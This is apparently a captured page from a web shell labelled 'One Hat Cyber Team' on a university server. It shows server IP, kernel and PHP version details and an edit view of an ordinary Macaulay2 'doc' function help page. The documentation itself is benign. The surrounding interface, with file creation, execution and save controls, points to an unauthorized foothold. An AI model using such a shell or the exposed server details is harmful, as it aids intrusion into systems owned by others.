One Hat Cyber Team
Your IP :
216.73.216.135
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
Macaulay2
/
SimpleDoc
/
html
/
Edit File:
_doc.html
<!DOCTYPE html> <html lang="en"> <head> <title>doc -- a simple documentation function</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <link type="text/css" rel="stylesheet" href="../../../../Macaulay2/Style/doc.css"> <link rel="stylesheet" href="../../../../Macaulay2/Style/katex/katex.min.css"> <script defer="defer" src="../../../../Macaulay2/Style/katex/katex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/auto-render.min.js"></script> <script> var macros = { "\\break": "\\\\", "\\ZZ": "\\mathbb{Z}", "\\NN": "\\mathbb{N}", "\\QQ": "\\mathbb{Q}", "\\RR": "\\mathbb{R}", "\\CC": "\\mathbb{C}", "\\PP": "\\mathbb{P}" }, delimiters = [ { left: "$$", right: "$$", display: true}, { left: "\\[", right: "\\]", display: true}, { left: "$", right: "$", display: false}, { left: "\\(", right: "\\)", display: false} ], ignoredTags = [ "kbd", "var", "samp", "script", "noscript", "style", "textarea", "pre", "code", "option" ]; document.addEventListener("DOMContentLoaded", function() { renderMathInElement(document.body, { delimiters: delimiters, macros: macros, ignoredTags: ignoredTags, trust: true }); }); </script> <style>.katex { font-size: 1em; }</style> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/copy-tex.min.js"></script> <script defer="defer" src="../../../../Macaulay2/Style/katex/contrib/render-a11y-string.min.js"></script> <script src="../../../../Macaulay2/Style/prism.js"></script> <script>var current_version = '1.25.06';</script> <script src="../../../../Macaulay2/Style/version-select.js"></script> <link type="image/x-icon" rel="icon" href="../../../../Macaulay2/Style/icon.gif"> </head> <body> <div id="buttons"> <div> <a href="https://macaulay2.com/">Macaulay2</a> <span id="version-select-container"></span> » <a title="Macaulay2 documentation" href="../../Macaulay2Doc/html/index.html">Documentation </a> <br><a href="../../Macaulay2Doc/html/_packages_spprovided_spwith_sp__Macaulay2.html">Packages</a> » <span><a title="simpler documentation for functions and methods" href="index.html">SimpleDoc</a> » <a title="a simple documentation function" href="_doc.html">doc</a></span> </div> <div class="right"> <form method="get" action="https://www.google.com/search"> <input placeholder="Search" type="text" name="q" value=""> <input type="hidden" name="q" value="site:macaulay2.com/doc"> </form> <a href="_doc__Example.html">next</a> | previous | <a href="_doc__Example.html">forward</a> | <a href="index.html">backward</a> | <a href="index.html">up</a> | <a href="master.html">index</a> | <a href="toc.html">toc</a> </div> </div> <hr> <div> <h1>doc -- a simple documentation function</h1> <ul> <li> <dl class="element"> <dt>Usage: </dt> <dd><code class="language-macaulay2">doc s</code></dd> <dd><code class="language-macaulay2">document s</code></dd> </dl> </li> <li>Inputs: <ul> <li><span><span class="tt">s</span>, <span>a <a title="the class of all strings" href="../../Macaulay2Doc/html/___String.html">string</a></span>, a structured source for the documentation, either as a string or a filename</span></li> </ul> </li> <li> <div> Consequences: <ul> <li>Documentation is created and stored so that after <a title="load and install a package and its documentation" href="../../Macaulay2Doc/html/_install__Package.html">installPackage</a> is used, <a title="view documentation nodes" href="../../Macaulay2Doc/html/_help.html">help</a> and <a title="view online documentation in a web browser" href="../../Macaulay2Doc/html/_view__Help.html">viewHelp</a> can be used to access the corresponding documentation node(s)</li> </ul> </div> </li> </ul> <div> <h2>Description</h2> <div> <p>The string <span class="tt">s</span> contains a series of sections describing the documentation to be produced. The first line of each section contains only a keyword that specifies the purpose of that section. The keywords must all be indented to the same level, and everything else must be further indented. Lines beginning with white space followed by two hyphens are ignored and can be used for commenting.</p> <p>For backwards compatibility, the function <span class="tt">multidoc</span> is also a synonym for <span class="tt">doc</span>.</p> </div> <div> <h2>Template for documentation strings</h2> <p>The variable <span class="tt">docTemplate</span> is a <a title="the class of all strings" href="../../Macaulay2Doc/html/___String.html">String</a>, which can be cut and pasted into a text file, to be used as a template for writing documentation for functions and other objects in a package.</p> </div> <table class="examples"> <tr> <td> <pre><code class="language-macaulay2">doc /// Node Key Headline Usage Inputs Outputs Consequences Item Description Text Tree Code Pre Example CannedExample ExampleFiles Acknowledgement Contributors References Caveat SeeAlso Subnodes ///</code></pre> </td> </tr> </table> <div> <h2>Description of keywords allowed in documentation strings</h2> <p>The only keyword which is always required is <a title="key of a documentation node" href="../../Macaulay2Doc/html/___Key.html">Key</a>. Other valid keywords are:</p> <p></p> </div> <ul> <li><span><a title="key of a documentation node" href="../../Macaulay2Doc/html/___Key.html">Key</a> -- key of a documentation node</span> <p>Each line in this section is evaluated as a Macaulay2 expression to yield a documentation key. If the key is a string, for instance the title of a tutorial, it must be surrounded by quotation marks. Examples for documentation keys are given in <a title="key of a documentation node" href="../../Macaulay2Doc/html/___Key.html">document(...,Key=>...)</a>.</p> </li> <li><span><a title="headline of a documentation node" href="../../Macaulay2Doc/html/___Headline.html">Headline</a> -- headline of a documentation node</span> <p>The body of this section should be a single line description of the node.</p> </li> <li><span><a title="ways to use a function in a documentation node" href="../../Macaulay2Doc/html/___Usage.html">Usage</a> -- ways to use a function in a documentation node</span> <p>The lines of this section present alternative usages of the key.</p> </li> <li><span><a title="inputs for a function in a documentation node" href="../../Macaulay2Doc/html/___Inputs.html">Inputs</a> -- inputs for a function in a documentation node</span><br><span><a title="outputs for a function in a documentation node" href="../../Macaulay2Doc/html/___Outputs.html">Outputs</a> -- outputs for a function in a documentation node</span> <p>The text in these sections is divided into subsections, each of which corresponds to one input or output value. The first line of each subsection contains the name of the variable corresponding to it, as referred to in the usage line, a colon, and the type of the variable. The name of the variable must be a nonempty string of alphanumeric characters or quotation marks. For example, the first line might be <span class="tt">s2:String</span>. The variable name and type are both optional.</p> <p>For optional inputs, one puts the name of the option, a double arrow, and the expected type of value; for example, the first line might be <span class="tt">Precision=>ZZ</span>. Subsequent lines of the subsection, indented further, describe the variable and may include markup.</p> </li> <li><span><a title="side-effects of a function in a documentation node" href="../../Macaulay2Doc/html/___Consequences.html">Consequences</a> -- side-effects of a function in a documentation node</span> <p>Each subsection of the this section should start with the keyword <span class="tt">Item</span>; the text in each item may include markup.</p> </li> <li><span class="tt">Description</span> <p>The text in this section occurs in subsections with keywords:</p> <ul> <li><span class="tt">Text</span> -- prose containing markup or tex <p>The text in this subsection can be separated into paragraphs with blank lines. A paragraph, when rendered in HTML, is typically enclosed in an HTML <span class="tt"><p></span> tag, except if its top level markup is an instance of <a title="the class of markup lists that can contain paragraphs" href="../../Text/html/___Hypertext__Container.html">HypertextContainer</a> or <a title="the class of markup lists that constitute separate paragraphs" href="../../Text/html/___Hypertext__Paragraph.html">HypertextParagraph</a>.</p> </li> <li><span class="tt">Tree</span> -- classify documentation nodes under headings <p>The lines in this section beginning with <span class="tt">- </span> are treated as subsection headlines, and may contain Macaulay2 code or <a title="the class of markup lists used with hypertext" href="../../Text/html/___Hypertext.html">Hypertext</a> wrapped in <span class="tt">@...@</span>, while lines beginning with <span class="tt">* </span> or <span class="tt">> </span> are treated as keys to a documentation node and are processed by the <a title="hypertext documentation link followed by a headline" href="../../Text/html/___T__O__H.html">TOH</a> function, producing a link followed by the headline. In particular, links beginning with <span class="tt">> </span> are treated as subnodes. The purpose is to allow a classification of the documentation nodes grouped under a subsections. Further indentation is treated as further sub-classifications.</p> </li> <li><span class="tt">Example</span> -- examples of the usage <p>The text in this subsection consists of lines of Macaulay2 code to be used as examples in the documentation node. Output will be generated automatically and incorporated into the display.</p> </li> <li><span class="tt">CannedExample</span> -- pre-evaluated example results <p>The text in this subsection consists of lines containing an interaction with Macaulay2, to displayed as an example.</p> </li> <li><span class="tt">Pre</span> -- preformatted text <p>The text in this subsection, with common indentation removed, is wrapped with <a title="preformatted text" href="../../Text/html/___P__R__E.html">PRE</a>.</p> </li> <li><span class="tt">Code</span> -- custom Macaulay2 code <p>The text in this subsection, with common indentation removed, is wrapped with parentheses and evaluated; the result is spliced into the list of documentation items at the appropriate point before passing the list to <a title="create a documentation node" href="../../Macaulay2Doc/html/_document.html">document</a>.</p> </li> </ul> </li> <li><span class="tt">Synopsis</span> -- prepare documentation for different usages of a function<br> <p>Each section with this keyword prepares a standardized synopsis similar to the <a title="a standardized synopsis for use in documentation nodes" href="../../Macaulay2Doc/html/___S__Y__N__O__P__S__I__S.html">SYNOPSIS</a> template of the classic <a title="create a documentation node" href="../../Macaulay2Doc/html/_document.html">document</a> command. The text in this section occurs in subsections with the following keywords:</p> <ul> <li><a title="a standardized synopsis for use in documentation nodes" href="../../Macaulay2Doc/html/___S__Y__N__O__P__S__I__S.html">Heading</a> -- similar to the <a title="headline of a documentation node" href="../../Macaulay2Doc/html/___Headline.html">Headline</a> keyword</li> <li><a title="the basename of a function in a documentation node" href="../../Macaulay2Doc/html/___Base__Function.html">BaseFunction</a> -- the basename of the function; see <a title="a standardized synopsis for use in documentation nodes" href="../../Macaulay2Doc/html/___S__Y__N__O__P__S__I__S.html">SYNOPSIS(...,BaseFunction=>...)</a></li> <li>Keywords that can be repeated once for each synopsis: <a title="ways to use a function in a documentation node" href="../../Macaulay2Doc/html/___Usage.html">Usage</a> (required), <a title="inputs for a function in a documentation node" href="../../Macaulay2Doc/html/___Inputs.html">Inputs</a>, <a title="outputs for a function in a documentation node" href="../../Macaulay2Doc/html/___Outputs.html">Outputs</a>, <a title="side-effects of a function in a documentation node" href="../../Macaulay2Doc/html/___Consequences.html">Consequences</a>, and <span class="tt">Description</span>.</li> </ul> <br></li> <li><span><a title="acknowledgements listed in a documentation node" href="../../Macaulay2Doc/html/___Acknowledgement.html">Acknowledgement</a> -- acknowledgements listed in a documentation node</span><br><span><a title="non-author contributors listed in a documentation node" href="../../Macaulay2Doc/html/___Contributors.html">Contributors</a> -- non-author contributors listed in a documentation node</span><br><span><a title="references listed in a documentation node" href="../../Macaulay2Doc/html/___References.html">References</a> -- references listed in a documentation node</span><span><a title="an optional argument" href="../../Macaulay2Doc/html/___Citation.html">Citation</a> -- an optional argument</span> <p>The text in these sections is parsed and rendered similar to the <a title="documentation and hypertext" href="../../Text/html/index.html">Text</a> subsection and can be used to acknowledge funding sources, collaborators, and non-author contributors, or to provide references or a preferred style citing the package in academic papers. You can also use the <span class="tt">Tree</span> keyword in the first line of this section and use the nested tree structure described above.</p> </li> <li><span><a title="warnings or limitations listed in a documentation node" href="../../Macaulay2Doc/html/___Caveat.html">Caveat</a> -- warnings or limitations listed in a documentation node</span> <p>The text in this section is parsed and rendered similar to the <a title="documentation and hypertext" href="../../Text/html/index.html">Text</a> subsection and can be used to inform users of potential limits of the implementation.</p> </li> <li><span><a title="cross-references to other documentation nodes" href="../../Macaulay2Doc/html/___See__Also.html">SeeAlso</a> -- cross-references to other documentation nodes</span> <p>The lines in this section are parsed as in the <a title="key of a documentation node" href="../../Macaulay2Doc/html/___Key.html">Key</a> section and are displayed as links to other relevant documentation nodes.</p> </li> <li><span><a title="a menu of documentation nodes" href="../../Macaulay2Doc/html/___Subnodes.html">Subnodes</a> -- a menu of documentation nodes</span> <p>The lines in this section not beginning with a colon are keys giving links to the subnodes of the current documentation node. The purpose is to allow the documentation of the package to be arranged linearly, as in a book. The lines beginning with a colon are subheadings used to classify the subnodes.</p> </li> <li><span><a title="sources displayed in a documentation node" href="../../Macaulay2Doc/html/___Source__Code.html">SourceCode</a> -- sources displayed in a documentation node</span> <p>The lines in this section are parsed as a list of functions whose source code should be displayed in the documentation.</p> </li> <li><span><a title="data files corresponding to a documentation node" href="../../Macaulay2Doc/html/___Example__Files.html">ExampleFiles</a> -- data files corresponding to a documentation node</span> <p>Each line in this section should be the name of a file in the auxiliary files directory of the package; the name of that directory is the same as the name of the package. Copies of the corresponding files will be made available in the running path of the examples.</p> </li> </ul> <div> <h2>Markup keywords allowed in documentation strings</h2> <p>The documentation system allows using $\LaTeX$ commands, so mathematical expressions may be displayed as $\PP^3$ or $x_i^{33} + 1/2$ in the html form of the documentation. For details and examples see <a title="conversion of $\\TeX$ to html" href="../../Text/html/_html_lp__T__E__X_rp.html">html(TEX)</a>.</p> <p>Also allowed is a pair of <span class="tt">@</span> characters, enclosing Macaulay2 code to be executed, yielding appropriate hypertext. For example "<span class="tt">The @TO Key@ section is required</span>" will appear as "The <a title="key of a documentation node" href="../../Macaulay2Doc/html/___Key.html">Key</a> section is required." This package also provides a number of helper functions, such as the <a title="link to an arXiv article" href="_ar__Xiv.html">arXiv</a> function, which may be used to succinctly reference e-Prints. See <a title="documentation and hypertext" href="../../Text/html/index.html">Text</a> for other hypertext types.</p> <p>Note that any Macaulay2 code resulting in a <a title="the class of all strings" href="../../Macaulay2Doc/html/___String.html">String</a> or <a title="the class of markup lists used with hypertext" href="../../Text/html/___Hypertext.html">Hypertext</a> may be used inside <span class="tt">@...@</span>, but for longer code it is easier to use the <span class="tt">Code</span> keyword described above.</p> <p></p> </div> <div> <h2>Documenting multiple nodes at once</h2> <p>If the least indented keyword in the documentation string <span class="tt">s</span> is <span class="tt">Node</span>, possibly occurring multiple times, multiple documentation nodes will be prepared.</p> <ul> <li><span class="tt">Node</span> <p>The text following each such keyword is handled just as by <a title="a simple documentation function" href="_doc.html">doc</a> resulting in a separate documentation node.</p> </li> </ul> <p>See <a href="../../../../Macaulay2/SimpleDoc/doc.txt">SimpleDoc/doc.txt</a> for an example of how the <span class="tt">Node</span> keyword is used in documenting this package.</p> </div> </div> <div> <h2>See also</h2> <ul> <li><span><a title="create a documentation node" href="../../Macaulay2Doc/html/_document.html">document</a> -- create a documentation node</span></li> <li><span><a title="an example of a test string" href="_test__Example.html">testExample</a> -- an example of a test string</span></li> <li><span><a title="an example of a documentation string" href="_doc__Example.html">docExample</a> -- an example of a documentation string</span></li> </ul> </div> <div> <div class="waystouse"> <h2>Ways to use <span class="tt">doc</span>:</h2> <ul> <li><kbd>doc(String)</kbd></li> </ul> </div> <div class="waystouse"> <h2>For the programmer</h2> <p>The object <a title="a simple documentation function" href="_doc.html">doc</a> is <span>a <a title="a type of method function" href="../../Macaulay2Doc/html/___Method__Function.html">method function</a></span>.</p> </div> <hr> <div class="waystouse"> <p>The source of this document is in <span class="tt">SimpleDoc.m2:308:0</span>.</p> </div> </div> </div> </body> </html>
Simpan